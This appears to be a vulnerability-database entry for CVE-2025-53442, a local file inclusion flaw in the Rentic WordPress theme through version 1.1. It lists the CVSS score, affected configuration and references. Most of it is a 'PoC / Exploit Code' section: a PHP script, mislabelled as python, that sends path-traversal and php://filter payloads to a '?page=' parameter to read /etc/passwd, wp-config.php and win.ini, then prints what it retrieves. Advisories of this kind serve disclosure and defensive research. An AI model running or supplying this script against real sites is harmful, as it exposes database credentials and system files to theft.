CVE-2025-53442

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Rentic rentic allows PHP Local File Inclusion.This issue affects Rentic: from n/a through <= 1.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:rentic:*:*:*:*:*:wordpress:*:* - VULNERABLE

Rentic <= 1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-53442 PoC - Rentic Theme Local File Inclusion
 * Affected: axiomthemes Rentic <= 1.1
 * CVSS: 8.1 (High)
 * 
 * Usage: Modify target URL and run with PHP CLI
 * Example: php poc.php
 */

$target = "http://target-site.com/";
$endpoint = "?page=";

// Read sensitive files
$payloads = [
    "../../../../etc/passwd",           // Linux passwd file
    "../../../../windows/win.ini",      // Windows config
    "../../../../wp-config.php",        // WordPress config
    "../../../../../../../var/www/html/wp-config.php",
    "php://filter/convert.base64-encode/resource=wp-config.php"
];

echo "[*] CVE-2025-53442 LFI PoC\n";
echo "[*] Target: $target\n\n";

foreach ($payloads as $payload) {
    $url = $target . $endpoint . urlencode($payload);
    echo "[+] Testing: $payload\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode == 200 && !empty($response)) {
        echo "[+] Success! File content retrieved (HTTP $httpCode)\n";
        echo "[+] Content preview:\n" . substr($response, 0, 500) . "\n\n";
    } else {
        echo "[-] Failed (HTTP $httpCode)\n\n";
    }
}

echo "[*] PoC execution completed\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53442
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53442
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53442/
[4] VulDB https://vuldb.com/cve/CVE-2025-53442
[5] https://patchstack.com/database/Wordpress/Theme/rentic/vulnerability/wordpress-rentic-theme-1-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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